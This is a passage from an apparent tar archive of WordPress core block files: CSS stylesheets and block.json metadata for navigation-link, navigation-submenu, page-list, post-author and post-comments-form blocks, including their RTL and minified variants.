html.has-modal-open{ overflow:hidden; }blocks/navigation-link/editor.min.css000064400000004051151202620300013664 0ustar00.wp-block-navigation .block-list-appender{position:relative}.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;overflow:visible!important;visibility:visible!important;width:auto!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px auto 16px 16px}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__placeholder{background-image:none!important;box-shadow:none!important;position:relative;text-decoration:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:var(--wp-admin-theme-color);background-image:linear-gradient(45deg,transparent 20%,var(--wp-underline-color) 30%,var(--wp-underline-color) 36%,transparent 46%),linear-gradient(135deg,transparent 54%,var(--wp-underline-color) 64%,var(--wp-underline-color) 70%,transparent 80%);background-position:0 100%;background-repeat:repeat-x;background-size:6px 3px;padding-bottom:.1em}.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:#fff}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}blocks/navigation-link/style-rtl.min.css000064400000000230151202620300014330 0ustar00.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}blocks/navigation-link/block.json000064400000003051151202620300013066 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/navigation-link", "title": "Custom Link", "category": "design", "parent": [ "core/navigation" ], "description": "Add a page, link, or another item to your navigation.", "textdomain": "default", "attributes": { "label": { "type": "string" }, "type": { "type": "string" }, "description": { "type": "string" }, "rel": { "type": "string" }, "id": { "type": "number" }, "opensInNewTab": { "type": "boolean", "default": false }, "url": { "type": "string" }, "title": { "type": "string" }, "kind": { "type": "string" }, "isTopLevelLink": { "type": "boolean" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "maxNestingLevel", "style" ], "supports": { "reusable": false, "html": false, "__experimentalSlashInserter": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-navigation-link-editor", "style": "wp-block-navigation-link" } blocks/navigation-link/editor.css000064400000004346151202620300013111 0ustar00.wp-block-navigation .block-list-appender{ position:relative; } .wp-block-navigation .has-child{ cursor:pointer; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container{ z-index:28; } .wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{ z-index:29; } .wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{ height:auto !important; min-width:200px !important; opacity:1 !important; overflow:visible !important; visibility:visible !important; width:auto !important; } .wp-block-navigation-item .wp-block-navigation-item__content{ cursor:text; } .wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{ min-width:20px; } .wp-block-navigation-item .block-list-appender{ margin:16px auto 16px 16px; } .wp-block-navigation-link__invalid-item{ color:#000; } .wp-block-navigation-link__placeholder{ background-image:none !important; box-shadow:none !important; position:relative; text-decoration:none !important; } .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{ --wp-underline-color:var(--wp-admin-theme-color); background-image:linear-gradient(45deg, transparent 20%, var(--wp-underline-color) 30%, var(--wp-underline-color) 36%, transparent 46%), linear-gradient(135deg, transparent 54%, var(--wp-underline-color) 64%, var(--wp-underline-color) 70%, transparent 80%); background-position:0 100%; background-repeat:repeat-x; background-size:6px 3px; padding-bottom:.1em; } .is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{ --wp-underline-color:#fff; } .wp-block-navigation-link__placeholder.wp-block-navigation-item__content{ cursor:pointer; } .link-control-transform{ border-top:1px solid #ccc; padding:0 16px 8px; } .link-control-transform__subheading{ color:#1e1e1e; font-size:11px; font-weight:500; margin-bottom:1.5em; text-transform:uppercase; } .link-control-transform__items{ display:flex; justify-content:space-between; } .link-control-transform__item{ flex-basis:33%; flex-direction:column; gap:8px; height:auto; }blocks/navigation-link/style.min.css000064400000000230151202620300013531 0ustar00.wp-block-navigation .wp-block-navigation-item__label{overflow-wrap:break-word}.wp-block-navigation .wp-block-navigation-item__description{display:none}blocks/navigation-link/editor-rtl.css000064400000004353151202620300013706 0ustar00.wp-block-navigation .block-list-appender{ position:relative; } .wp-block-navigation .has-child{ cursor:pointer; } .wp-block-navigation .has-child .wp-block-navigation__submenu-container{ z-index:28; } .wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{ z-index:29; } .wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{ height:auto !important; min-width:200px !important; opacity:1 !important; overflow:visible !important; visibility:visible !important; width:auto !important; } .wp-block-navigation-item .wp-block-navigation-item__content{ cursor:text; } .wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{ min-width:20px; } .wp-block-navigation-item .block-list-appender{ margin:16px 16px 16px auto; } .wp-block-navigation-link__invalid-item{ color:#000; } .wp-block-navigation-link__placeholder{ background-image:none !important; box-shadow:none !important; position:relative; text-decoration:none !important; } .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{ --wp-underline-color:var(--wp-admin-theme-color); background-image:linear-gradient(-45deg, transparent 20%, var(--wp-underline-color) 30%, var(--wp-underline-color) 36%, transparent 46%), linear-gradient(-135deg, transparent 54%, var(--wp-underline-color) 64%, var(--wp-underline-color) 70%, transparent 80%); background-position:100% 100%; background-repeat:repeat-x; background-size:6px 3px; padding-bottom:.1em; } .is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{ --wp-underline-color:#fff; } .wp-block-navigation-link__placeholder.wp-block-navigation-item__content{ cursor:pointer; } .link-control-transform{ border-top:1px solid #ccc; padding:0 16px 8px; } .link-control-transform__subheading{ color:#1e1e1e; font-size:11px; font-weight:500; margin-bottom:1.5em; text-transform:uppercase; } .link-control-transform__items{ display:flex; justify-content:space-between; } .link-control-transform__item{ flex-basis:33%; flex-direction:column; gap:8px; height:auto; }blocks/navigation-link/editor-rtl.min.css000064400000004056151202620300014470 0ustar00.wp-block-navigation .block-list-appender{position:relative}.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;overflow:visible!important;visibility:visible!important;width:auto!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px 16px 16px auto}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__placeholder{background-image:none!important;box-shadow:none!important;position:relative;text-decoration:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:var(--wp-admin-theme-color);background-image:linear-gradient(-45deg,transparent 20%,var(--wp-underline-color) 30%,var(--wp-underline-color) 36%,transparent 46%),linear-gradient(-135deg,transparent 54%,var(--wp-underline-color) 64%,var(--wp-underline-color) 70%,transparent 80%);background-position:100% 100%;background-repeat:repeat-x;background-size:6px 3px;padding-bottom:.1em}.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:#fff}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}blocks/navigation-link/style-rtl.css000064400000000243151202620300013552 0ustar00.wp-block-navigation .wp-block-navigation-item__label{ overflow-wrap:break-word; } .wp-block-navigation .wp-block-navigation-item__description{ display:none; }blocks/navigation-link/style.css000064400000000243151202620300012753 0ustar00.wp-block-navigation .wp-block-navigation-item__label{ overflow-wrap:break-word; } .wp-block-navigation .wp-block-navigation-item__description{ display:none; }blocks/navigation-submenu/editor.min.css000064400000002120151202620300014400 0ustar00.wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;left:-1px;min-width:200px!important;opacity:1!important;position:absolute;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:transparent;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}}blocks/navigation-submenu/block.json000064400000002242151202620300013610 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/navigation-submenu", "title": "Submenu", "category": "design", "parent": [ "core/navigation" ], "description": "Add a submenu to your navigation.", "textdomain": "default", "attributes": { "label": { "type": "string" }, "type": { "type": "string" }, "description": { "type": "string" }, "rel": { "type": "string" }, "id": { "type": "number" }, "opensInNewTab": { "type": "boolean", "default": false }, "url": { "type": "string" }, "title": { "type": "string" }, "kind": { "type": "string" }, "isTopLevelItem": { "type": "boolean" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "maxNestingLevel", "openSubmenusOnClick", "style" ], "supports": { "reusable": false, "html": false }, "editorStyle": "wp-block-navigation-submenu-editor", "style": "wp-block-navigation-submenu" } blocks/navigation-submenu/editor.css000064400000002270151202620300013624 0ustar00.wp-block-navigation-submenu{ display:block; } .wp-block-navigation-submenu .wp-block-navigation__submenu-container{ z-index:28; } .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{ height:auto !important; left:-1px; min-width:200px !important; opacity:1 !important; position:absolute; top:100%; visibility:visible !important; width:auto !important; } @media (min-width:782px){ .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ left:100%; top:-1px; } .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{ background:transparent; content:""; display:block; height:100%; position:absolute; right:100%; width:.5em; } }blocks/navigation-submenu/editor-rtl.css000064400000002271151202620300014424 0ustar00.wp-block-navigation-submenu{ display:block; } .wp-block-navigation-submenu .wp-block-navigation__submenu-container{ z-index:28; } .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{ height:auto !important; min-width:200px !important; opacity:1 !important; position:absolute; right:-1px; top:100%; visibility:visible !important; width:auto !important; } @media (min-width:782px){ .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{ right:100%; top:-1px; } .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{ background:transparent; content:""; display:block; height:100%; left:100%; position:absolute; width:.5em; } }blocks/navigation-submenu/editor-rtl.min.css000064400000002121151202620300015200 0ustar00.wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;position:absolute;right:-1px;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:transparent;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}}blocks/page-list/editor.min.css000064400000002304151202620300012456 0ustar00.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{background-color:inherit}.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{display:block}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;visibility:visible;width:auto}.wp-block-page-list .components-notice{margin-left:0}.wp-block-page-list__loading-indicator-container{padding:8px 12px}blocks/page-list/style-rtl.min.css000064400000000552151202620300013132 0ustar00.wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}blocks/page-list/block.json000064400000002274151202620300011667 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/page-list", "title": "Page List", "category": "widgets", "description": "Display a list of all pages.", "keywords": [ "menu", "navigation" ], "textdomain": "default", "attributes": { "parentPageID": { "type": "integer", "default": 0 }, "isNested": { "type": "boolean", "default": false } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "style", "openSubmenusOnClick" ], "supports": { "reusable": false, "html": false, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-page-list-editor", "style": "wp-block-page-list" } blocks/page-list/editor.css000064400000002443151202620300011700 0ustar00.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{ background-color:inherit; } .wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{ display:contents; flex:1; } .wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{ flex:inherit; } .wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{ display:block; } .wp-block-pages-list__item__link{ pointer-events:none; } @media (min-width:600px){ .wp-block-page-list-modal{ max-width:480px; } } .wp-block-page-list-modal-buttons{ display:flex; gap:12px; justify-content:flex-end; } .wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{ height:auto; min-width:200px; opacity:1; visibility:visible; width:auto; } .wp-block-page-list .components-notice{ margin-left:0; } .wp-block-page-list__loading-indicator-container{ padding:8px 12px; }blocks/page-list/style.min.css000064400000000552151202620300012333 0ustar00.wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}blocks/page-list/editor-rtl.css000064400000002444151202620300012500 0ustar00.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{ background-color:inherit; } .wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{ display:contents; flex:1; } .wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{ flex:inherit; } .wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{ display:block; } .wp-block-pages-list__item__link{ pointer-events:none; } @media (min-width:600px){ .wp-block-page-list-modal{ max-width:480px; } } .wp-block-page-list-modal-buttons{ display:flex; gap:12px; justify-content:flex-end; } .wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{ height:auto; min-width:200px; opacity:1; visibility:visible; width:auto; } .wp-block-page-list .components-notice{ margin-right:0; } .wp-block-page-list__loading-indicator-container{ padding:8px 12px; }blocks/page-list/editor-rtl.min.css000064400000002305151202620300013256 0ustar00.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{background-color:inherit}.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{display:block}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;visibility:visible;width:auto}.wp-block-page-list .components-notice{margin-right:0}.wp-block-page-list__loading-indicator-container{padding:8px 12px}blocks/page-list/style-rtl.css000064400000000610151202620300012343 0ustar00.wp-block-navigation .wp-block-page-list{ align-items:var(--navigation-layout-align, initial); background-color:inherit; display:flex; flex-direction:var(--navigation-layout-direction, initial); flex-wrap:var(--navigation-layout-wrap, wrap); justify-content:var(--navigation-layout-justify, initial); } .wp-block-navigation .wp-block-navigation-item{ background-color:inherit; }blocks/page-list/style.css000064400000000610151202620300011544 0ustar00.wp-block-navigation .wp-block-page-list{ align-items:var(--navigation-layout-align, initial); background-color:inherit; display:flex; flex-direction:var(--navigation-layout-direction, initial); flex-wrap:var(--navigation-layout-wrap, wrap); justify-content:var(--navigation-layout-justify, initial); } .wp-block-navigation .wp-block-navigation-item{ background-color:inherit; }blocks/page-list-item/block.json000064400000002037151202620300012620 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/page-list-item", "title": "Page List Item", "category": "widgets", "parent": [ "core/page-list" ], "description": "Displays a page inside a list of all pages.", "keywords": [ "page", "menu", "navigation" ], "textdomain": "default", "attributes": { "id": { "type": "number" }, "label": { "type": "string" }, "title": { "type": "string" }, "link": { "type": "string" }, "hasChildren": { "type": "boolean" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "style", "openSubmenusOnClick" ], "supports": { "reusable": false, "html": false, "lock": false, "inserter": false, "__experimentalToolbar": false }, "editorStyle": "wp-block-page-list-editor", "style": "wp-block-page-list" } blocks/pattern/block.json000064400000000520151202620300011447 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/pattern", "title": "Pattern placeholder", "category": "theme", "description": "Show a block pattern.", "supports": { "html": false, "inserter": false }, "textdomain": "default", "attributes": { "slug": { "type": "string" } } } blocks/post-author/style-rtl.min.css000064400000000517151202620300013533 0ustar00.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}blocks/post-author/block.json000064400000002561151202620300012266 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-author", "title": "Author", "category": "theme", "description": "Display post author details such as name, avatar, and bio.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "avatarSize": { "type": "number", "default": 48 }, "showAvatar": { "type": "boolean", "default": true }, "showBio": { "type": "boolean" }, "byline": { "type": "string" }, "isLink": { "type": "boolean", "default": false }, "linkTarget": { "type": "string", "default": "_self" } }, "usesContext": [ "postType", "postId", "queryId" ], "supports": { "html": false, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "link": true, "__experimentalDuotone": ".wp-block-post-author__avatar img", "__experimentalDefaultControls": { "background": true, "text": true } } }, "style": "wp-block-post-author" } blocks/post-author/style.min.css000064400000000520151202620300012726 0ustar00.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}blocks/post-author/style-rtl.css000064400000000604151202620300012746 0ustar00.wp-block-post-author{ display:flex; flex-wrap:wrap; } .wp-block-post-author__byline{ font-size:.5em; margin-bottom:0; margin-top:0; width:100%; } .wp-block-post-author__avatar{ margin-left:1em; } .wp-block-post-author__bio{ font-size:.7em; margin-bottom:.7em; } .wp-block-post-author__content{ flex-basis:0; flex-grow:1; } .wp-block-post-author__name{ margin:0; }blocks/post-author/style.css000064400000000605151202620300012150 0ustar00.wp-block-post-author{ display:flex; flex-wrap:wrap; } .wp-block-post-author__byline{ font-size:.5em; margin-bottom:0; margin-top:0; width:100%; } .wp-block-post-author__avatar{ margin-right:1em; } .wp-block-post-author__bio{ font-size:.7em; margin-bottom:.7em; } .wp-block-post-author__content{ flex-basis:0; flex-grow:1; } .wp-block-post-author__name{ margin:0; }blocks/post-author-biography/block.json000064400000001625151202620300014250 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-author-biography", "title": "Author Biography", "category": "theme", "description": "The author biography.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" } }, "usesContext": [ "postType", "postId" ], "supports": { "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/post-author-name/block.json000064400000002050151202620300013175 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-author-name", "title": "Author Name", "category": "theme", "description": "The author name.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "isLink": { "type": "boolean", "default": false }, "linkTarget": { "type": "string", "default": "_self" } }, "usesContext": [ "postType", "postId" ], "supports": { "html": false, "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } } } blocks/post-comments-form/editor.min.css000064400000000174151202620300014345 0ustar00.wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto}blocks/post-comments-form/style-rtl.min.css000064400000003630151202620300015016 0ustar00.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){font-size:inherit}.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){line-height:inherit}.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){font-style:inherit}.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){letter-spacing:inherit}.wp-block-post-comments-form input[type=submit]{box-shadow:none;cursor:pointer;display:inline-block;overflow-wrap:break-word;text-align:center}.wp-block-post-comments-form input:not([type=submit]),.wp-block-post-comments-form textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments-form textarea{padding:calc(.667em + 2px)}.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments-form .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments-form .comment-reply-title{margin-bottom:0}.wp-block-post-comments-form .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}blocks/post-comments-form/block.json000064400000002001151202620300013537 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-comments-form", "title": "Comments Form", "category": "theme", "description": "Display a post's comments form.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" } }, "usesContext": [ "postId", "postType" ], "supports": { "html": false, "color": { "gradients": true, "heading": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-post-comments-form-editor", "style": [ "wp-block-post-comments-form", "wp-block-buttons", "wp-block-button" ] } blocks/post-comments-form/editor.css000064400000000207151202620300013560 0ustar00.wp-block-post-comments-form *{ pointer-events:none; } .wp-block-post-comments-form .block-editor-warning *{ pointer-events:auto; }blocks/post-comments-form/style.min.css000064400000003627151202620300014225 0ustar00.wp-block-post-comments-form{box-sizing:border-box}.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){font-weight:inherit}.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){font-family:inherit}.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] 